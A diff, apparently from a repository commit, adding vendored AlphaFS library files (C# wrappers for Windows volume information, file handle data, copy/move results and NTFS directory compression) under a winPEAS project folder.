FileSystemName = !Utils.IsNullOrWhiteSpace(FileSystemName) ? FileSystemName : null;
|
||||
|
||||
MaximumComponentLength = maximumComponentLength;
|
||||
SerialNumber = serialNumber;
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Returns the full path of the volume.</summary>
|
||||
/// <returns>A string that represents this instance.</returns>
|
||||
public override string ToString()
|
||||
{
|
||||
return Guid;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
/// <summary>The specified volume supports preserved case of file names when it places a name on disk.</summary>
|
||||
public bool CasePreservedNames
|
||||
{
|
||||
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_CASE_PRESERVED_NAMES) != 0; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>The specified volume supports case-sensitive file names.</summary>
|
||||
public bool CaseSensitiveSearch
|
||||
{
|
||||
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_CASE_SENSITIVE_SEARCH) != 0; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>The specified volume supports file-based compression.</summary>
|
||||
public bool Compression
|
||||
{
|
||||
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_FILE_COMPRESSION) != 0; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>The specified volume is a direct access (DAX) volume.</summary>
|
||||
public bool DirectAccess
|
||||
{
|
||||
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_DAX_VOLUME) != 0; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Gets the name of the file system, for example, the FAT file system or the NTFS file system.</summary>
|
||||
/// <value>The name of the file system.</value>
|
||||
public string FileSystemName { get; private set; }
|
||||
|
||||
|
||||
/// <summary>The full path to the volume.</summary>
|
||||
public string FullPath { get; private set; }
|
||||
|
||||
|
||||
private string _guid;
|
||||
/// <summary>The volume GUID.</summary>
|
||||
public string Guid
|
||||
{
|
||||
get
|
||||
{
|
||||
if (Utils.IsNullOrWhiteSpace(_guid))
|
||||
_guid = !Utils.IsNullOrWhiteSpace(FullPath) ? Volume.GetUniqueVolumeNameForPath(FullPath) : null;
|
||||
|
||||
return _guid;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Gets the maximum length of a file name component that the file system supports.</summary>
|
||||
/// <value>The maximum length of a file name component that the file system supports.</value>
|
||||
public int MaximumComponentLength { get; set; }
|
||||
|
||||
|
||||
/// <summary>Gets the label of the volume.</summary>
|
||||
/// <returns>The label of the volume.</returns>
|
||||
/// <remarks>This property is the label assigned to the volume, such "MyDrive"</remarks>
|
||||
public string Name { get; private set; }
|
||||
|
||||
|
||||
/// <summary>The specified volume supports named streams.</summary>
|
||||
public bool NamedStreams
|
||||
{
|
||||
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_NAMED_STREAMS) != 0; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>The specified volume preserves and enforces access control lists (ACL).</summary>
|
||||
[SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Acls")]
|
||||
public bool PersistentAcls
|
||||
{
|
||||
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_PERSISTENT_ACLS) != 0; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>The specified volume is read-only.</summary>
|
||||
public bool ReadOnlyVolume
|
||||
{
|
||||
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_READ_ONLY_VOLUME) != 0; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>The specified volume supports a single sequential write.</summary>
|
||||
public bool SequentialWriteOnce
|
||||
{
|
||||
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SEQUENTIAL_WRITE_ONCE) != 0; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Gets the volume serial number that the operating system assigns when a hard disk is formatted.</summary>
|
||||
/// <value>The volume serial number that the operating system assigns when a hard disk is formatted.</value>
|
||||
public long SerialNumber { get; private set; }
|
||||
|
||||
|
||||
/// <summary>The specified volume supports the Encrypted File System (EFS).</summary>
|
||||
public bool SupportsEncryption
|
||||
{
|
||||
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_ENCRYPTION) != 0; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>The specified volume supports extended attributes.</summary>
|
||||
public bool SupportsExtendedAttributes
|
||||
{
|
||||
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_EXTENDED_ATTRIBUTES) != 0; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>The specified volume supports hard links.</summary>
|
||||
public bool SupportsHardLinks
|
||||
{
|
||||
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_HARD_LINKS) != 0; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>The specified volume supports object identifiers.</summary>
|
||||
public bool SupportsObjectIds
|
||||
{
|
||||
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_OBJECT_IDS) != 0; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>The file system supports open by FileID.</summary>
|
||||
public bool SupportsOpenByFileId
|
||||
{
|
||||
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_OPEN_BY_FILE_ID) != 0; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>The specified volume supports remote storage. (This property does not appear on MSDN)</summary>
|
||||
public bool SupportsRemoteStorage
|
||||
{
|
||||
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_REMOTE_STORAGE) != 0; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>The specified volume supports re-parse points.</summary>
|
||||
public bool SupportsReparsePoints
|
||||
{
|
||||
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_REPARSE_POINTS) != 0; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>The specified volume supports sparse files.</summary>
|
||||
public bool SupportsSparseFiles
|
||||
{
|
||||
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_SPARSE_FILES) != 0; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>The specified volume supports transactions.</summary>
|
||||
public bool SupportsTransactions
|
||||
{
|
||||
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_TRANSACTIONS) != 0; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>The specified volume supports update sequence number (USN) journals.</summary>
|
||||
[SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Usn")]
|
||||
public bool SupportsUsnJournal
|
||||
{
|
||||
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_USN_JOURNAL) != 0; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>The specified volume supports Unicode in file names as they appear on disk.</summary>
|
||||
public bool UnicodeOnDisk
|
||||
{
|
||||
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_UNICODE_ON_DISK) != 0; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>The specified volume is a compressed volume, for example, a DoubleSpace volume.</summary>
|
||||
public bool VolumeIsCompressed
|
||||
{
|
||||
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_VOLUME_IS_COMPRESSED) != 0; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>The specified volume supports disk quotas.</summary>
|
||||
public bool VolumeQuotas
|
||||
{
|
||||
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_VOLUME_QUOTAS) != 0; }
|
||||
}
|
||||
}
|
||||
}
|
||||
132
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/ByHandleFileInfo.cs
vendored
Normal file
132
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/ByHandleFileInfo.cs
vendored
Normal file
@@ -0,0 +1,132 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
/// <summary>Contains information that the GetFileInformationByHandle function retrieves.</summary>
|
||||
[Serializable]
|
||||
[SecurityCritical]
|
||||
public sealed class ByHandleFileInfo
|
||||
{
|
||||
internal ByHandleFileInfo(NativeMethods.BY_HANDLE_FILE_INFORMATION fibh)
|
||||
{
|
||||
CreationTimeUtc = DateTime.FromFileTimeUtc(fibh.ftCreationTime);
|
||||
LastAccessTimeUtc = DateTime.FromFileTimeUtc(fibh.ftLastAccessTime);
|
||||
LastWriteTimeUtc = DateTime.FromFileTimeUtc(fibh.ftLastWriteTime);
|
||||
|
||||
Attributes = fibh.dwFileAttributes;
|
||||
FileIndex = NativeMethods.ToLong(fibh.nFileIndexHigh, fibh.nFileIndexLow);
|
||||
FileSize = NativeMethods.ToLong(fibh.nFileSizeHigh, fibh.nFileSizeLow);
|
||||
NumberOfLinks = (int) fibh.nNumberOfLinks;
|
||||
VolumeSerialNumber = fibh.dwVolumeSerialNumber;
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Gets the file attributes.</summary>
|
||||
/// <value>The file attributes.</value>
|
||||
public FileAttributes Attributes { get; private set; }
|
||||
|
||||
|
||||
/// <summary>Gets the time this entry was created.</summary>
|
||||
/// <value>The time this entry was created.</value>
|
||||
public DateTime CreationTime
|
||||
{
|
||||
get { return CreationTimeUtc.ToLocalTime(); }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Gets the time, in coordinated universal time (UTC), this entry was created.</summary>
|
||||
/// <value>The time, in coordinated universal time (UTC), this entry was created.</value>
|
||||
public DateTime CreationTimeUtc { get; private set; }
|
||||
|
||||
|
||||
/// <summary>Gets the time this entry was last accessed.
|
||||
/// For a file, the structure specifies the last time that a file is read from or written to.
|
||||
/// For a directory, the structure specifies when the directory is created.
|
||||
/// For both files and directories, the specified date is correct, but the time of day is always set to midnight.
|
||||
/// If the underlying file system does not support the last access time, this member is zero (0).
|
||||
/// </summary>
|
||||
/// <value>The time this entry was last accessed.</value>
|
||||
public DateTime LastAccessTime
|
||||
{
|
||||
get { return LastAccessTimeUtc.ToLocalTime(); }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Gets the time, in coordinated universal time (UTC), this entry was last accessed.
|
||||
/// For a file, the structure specifies the last time that a file is read from or written to.
|
||||
/// For a directory, the structure specifies when the directory is created.
|
||||
/// For both files and directories, the specified date is correct, but the time of day is always set to midnight.
|
||||
/// If the underlying file system does not support the last access time, this member is zero (0).
|
||||
/// </summary>
|
||||
/// <value>The time, in coordinated universal time (UTC), this entry was last accessed.</value>
|
||||
public DateTime LastAccessTimeUtc { get; private set; }
|
||||
|
||||
|
||||
/// <summary>Gets the time this entry was last modified.
|
||||
/// For a file, the structure specifies the last time that a file is written to.
|
||||
/// For a directory, the structure specifies when the directory is created.
|
||||
/// If the underlying file system does not support the last access time, this member is zero (0).
|
||||
/// </summary>
|
||||
/// <value>The time this entry was last modified.</value>
|
||||
public DateTime LastWriteTime
|
||||
{
|
||||
get { return LastWriteTimeUtc.ToLocalTime(); }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Gets the time, in coordinated universal time (UTC), this entry was last modified.
|
||||
/// For a file, the structure specifies the last time that a file is written to.
|
||||
/// For a directory, the structure specifies when the directory is created.
|
||||
/// If the underlying file system does not support the last access time, this member is zero (0).
|
||||
/// </summary>
|
||||
/// <value>The time, in coordinated universal time (UTC), this entry was last modified.</value>
|
||||
public DateTime LastWriteTimeUtc { get; private set; }
|
||||
|
||||
|
||||
/// <summary>Gets the serial number of the volume that contains a file.</summary>
|
||||
/// <value>The serial number of the volume that contains a file.</value>
|
||||
public long VolumeSerialNumber { get; private set; }
|
||||
|
||||
|
||||
/// <summary>Gets the size of the file.</summary>
|
||||
/// <value>The size of the file.</value>
|
||||
public long FileSize { get; private set; }
|
||||
|
||||
|
||||
/// <summary>Gets the number of links to this file. For the FAT file system this member is always 1. For the NTFS file system, it can be more than 1.</summary>
|
||||
/// <value>The number of links to this file. </value>
|
||||
public int NumberOfLinks { get; private set; }
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Gets the unique identifier associated with the file. The identifier and the volume serial number uniquely identify a
|
||||
/// file on a single computer. To determine whether two open handles represent the same file, combine the identifier
|
||||
/// and the volume serial number for each file and compare them.
|
||||
/// </summary>
|
||||
/// <value>The unique identifier of the file.</value>
|
||||
public long FileIndex { get; private set; }
|
||||
}
|
||||
}
|
||||
61
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/CopyMoveArguments.cs
vendored
Normal file
61
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/CopyMoveArguments.cs
vendored
Normal file
@@ -0,0 +1,61 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
internal struct CopyMoveArguments
|
||||
{
|
||||
public int Retry;
|
||||
public int RetryTimeout;
|
||||
|
||||
public KernelTransaction Transaction;
|
||||
public string SourcePath;
|
||||
public string DestinationPath;
|
||||
|
||||
public bool CopyTimestamps;
|
||||
|
||||
public CopyOptions? CopyOptions;
|
||||
public MoveOptions? MoveOptions;
|
||||
|
||||
public CopyMoveProgressRoutine ProgressHandler;
|
||||
public object UserProgressData;
|
||||
|
||||
public PathFormat PathFormat;
|
||||
|
||||
|
||||
internal DirectoryEnumerationFilters DirectoryEnumerationFilters;
|
||||
internal string SourcePathLp;
|
||||
internal string DestinationPathLp;
|
||||
internal bool IsCopy;
|
||||
|
||||
/// <summary>A Move action fallback using Copy + Delete.</summary>
|
||||
internal bool EmulateMove;
|
||||
|
||||
/// <summary>A file/folder will be deleted or renamed on Computer startup.</summary>
|
||||
internal bool DelayUntilReboot;
|
||||
|
||||
internal bool DeleteOnStartup;
|
||||
|
||||
internal NativeMethods.NativeCopyMoveProgressRoutine Routine;
|
||||
|
||||
internal bool PathsChecked;
|
||||
}
|
||||
}
|
||||
26
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/CopyMoveProgressRoutine.cs
vendored
Normal file
26
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/CopyMoveProgressRoutine.cs
vendored
Normal file
@@ -0,0 +1,26 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
/// <summary>Callback used by CopyFileXxx and MoveFileXxx to report progress about the copy/move operation.</summary>
|
||||
public delegate CopyMoveProgressResult CopyMoveProgressRoutine(long totalFileSize, long totalBytesTransferred, long streamSize, long streamBytesTransferred, int streamNumber, CopyMoveProgressCallbackReason callbackReason, object userData);
|
||||
}
|
||||
171
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/CopyMoveResult.cs
vendored
Normal file
171
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/CopyMoveResult.cs
vendored
Normal file
@@ -0,0 +1,171 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Diagnostics.CodeAnalysis;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
/// <summary>Class for CopyMoveResult that contains the results for the Copy or Move action.</summary>
|
||||
/// <remarks>Normally there is no need to manually instantiate and/or populate this class.</remarks>
|
||||
[Serializable]
|
||||
public sealed class CopyMoveResult
|
||||
{
|
||||
#region Private Fields
|
||||
|
||||
[NonSerialized] internal readonly Stopwatch Stopwatch;
|
||||
|
||||
#endregion // Private Fields
|
||||
|
||||
|
||||
#region Constructors
|
||||
|
||||
/// <summary>Initializes a CopyMoveResult instance for the Copy or Move action.</summary>
|
||||
/// <param name="source">Indicates the full path to the source file or directory.</param>
|
||||
/// <param name="destination">Indicates the full path to the destination file or directory.</param>
|
||||
private CopyMoveResult(string source, string destination)
|
||||
{
|
||||
Source = source;
|
||||
|
||||
Destination = destination;
|
||||
|
||||
IsCopy = true;
|
||||
|
||||
Retries = 0;
|
||||
|
||||
Stopwatch = new Stopwatch();
|
||||
}
|
||||
|
||||
|
||||
internal CopyMoveResult(CopyMoveArguments cma, bool isFolder) : this(cma.SourcePath, cma.DestinationPath)
|
||||
{
|
||||
IsEmulatedMove = cma.EmulateMove;
|
||||
|
||||
IsCopy = cma.IsCopy;
|
||||
|
||||
IsDirectory = isFolder;
|
||||
|
||||
TimestampsCopied = cma.CopyTimestamps;
|
||||
}
|
||||
|
||||
|
||||
internal CopyMoveResult(CopyMoveArguments cma, bool isFolder, string source, string destination) : this(source, destination)
|
||||
{
|
||||
IsEmulatedMove = cma.EmulateMove;
|
||||
|
||||
IsCopy = cma.IsCopy;
|
||||
|
||||
IsDirectory = isFolder;
|
||||
|
||||
TimestampsCopied = cma.CopyTimestamps;
|
||||
}
|
||||
|
||||
#endregion // Constructors
|
||||
|
||||
|
||||
#region Properties
|
||||
|
||||
/// <summary>Indicates the duration of the Copy or Move action.</summary>
|
||||
public TimeSpan Duration
|
||||
{
|
||||
get { return TimeSpan.FromMilliseconds(Stopwatch.Elapsed.TotalMilliseconds); }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Indicates the destination file or directory.</summary>
|
||||
public string Destination { get; private set; }
|
||||
|
||||
|
||||
/// <summary>The error code encountered during the Copy or Move action.</summary>
|
||||
/// <value>0 (zero) indicates success.</value>
|
||||
public int ErrorCode { get; internal set; }
|
||||
|
||||
|
||||
/// <summary>The error message from the <see cref="ErrorCode"/> that was encountered during the Copy or Move action.</summary>
|
||||
/// <value>A message describing the error.</value>
|
||||
[SuppressMessage("Microsoft.Design", "CA1065:DoNotRaiseExceptionsInUnexpectedLocations")]
|
||||
public string ErrorMessage { get { return new Win32Exception(ErrorCode).Message; } }
|
||||
|
||||
|
||||
/// <summary>When <c>true</c> indicates that the Copy or Move action was canceled.</summary>
|
||||
/// <value><c>true</c> when the Copy/Move action was canceled. Otherwise <c>false</c>.</value>
|
||||
public bool IsCanceled { get; internal set; }
|
||||
|
||||
|
||||
/// <summary>When <c>true</c> the action was a Copy, Move otherwise.</summary>
|
||||
/// <value><c>true</c> when the action was a Copy. Otherwise a Move action was performed.</value>
|
||||
public bool IsCopy { get; private set; }
|
||||
|
||||
|
||||
/// <summary>Gets a value indicating whether this instance represents a directory.</summary>
|
||||
/// <value><c>true</c> if this instance represents a directory; otherwise, <c>false</c>.</value>
|
||||
public bool IsDirectory { get; private set; }
|
||||
|
||||
|
||||
/// <summary>Indicates the Move action used a fallback of Copy + Delete actions.</summary>
|
||||
public bool IsEmulatedMove { get; private set; }
|
||||
|
||||
|
||||
/// <summary>Gets a value indicating whether this instance represents a file.</summary>
|
||||
/// <value><c>true</c> if this instance represents a file; otherwise, <c>false</c>.</value>
|
||||
public bool IsFile { get { return !IsDirectory; } }
|
||||
|
||||
|
||||
/// <summary>When <c>true</c> the action was a Move, Copy otherwise.</summary>
|
||||
/// <value><c>true</c> when the action was a Move. Otherwise a Copy action was performed.</value>
|
||||
public bool IsMove { get { return !IsCopy; } }
|
||||
|
||||
|
||||
/// <summary>The total number of retry attempts.</summary>
|
||||
public long Retries { get; internal set; }
|
||||
|
||||
|
||||
/// <summary>Indicates the source file or directory.</summary>
|
||||
public string Source { get; private set; }
|
||||
|
||||
|
||||
/// <summary>Indicates that the source date and timestamps have been applied to the destination file system objects.</summary>
|
||||
public bool TimestampsCopied { get; private set; }
|
||||
|
||||
|
||||
/// <summary>The total number of bytes copied.</summary>
|
||||
public long TotalBytes { get; internal set; }
|
||||
|
||||
|
||||
/// <summary>The total number of bytes copied, formatted as a unit size.</summary>
|
||||
public string TotalBytesUnitSize
|
||||
{
|
||||
get { return Utils.UnitSizeToText(TotalBytes); }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>The total number of files copied.</summary>
|
||||
public long TotalFiles { get; internal set; }
|
||||
|
||||
|
||||
/// <summary>The total number of folders copied.</summary>
|
||||
public long TotalFolders { get; internal set; }
|
||||
|
||||
#endregion // Properties
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,167 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Directory
|
||||
{
|
||||
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
|
||||
/// <remarks>This will only compress the root items (non recursive).</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="path">A path that describes a directory to compress.</param>
|
||||
[SecurityCritical]
|
||||
public static void Compress(string path)
|
||||
{
|
||||
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, null, true, PathFormat.RelativePath);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
|
||||
/// <remarks>This will only compress the root items (non recursive).</remarks>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="path">A path that describes a directory to compress.</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
[SecurityCritical]
|
||||
public static void Compress(string path, PathFormat pathFormat)
|
||||
{
|
||||
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, null, true, pathFormat);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
/// <exception cref="NotSupportedException"/>
|
||||
/// <exception cref="UnauthorizedAccessException"/>
|
||||
/// <param name="path">A path that describes a directory to compress.</param>
|
||||
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
|
||||
[SecurityCritical]
|
||||
public static void Compress(string path, DirectoryEnumerationOptions options)
|
||||
{
|
||||
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, null, true, PathFormat.RelativePath);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="DirectoryNotFoundException"/>
|
||||
/// <exception cref="IOException"/>
|
||||
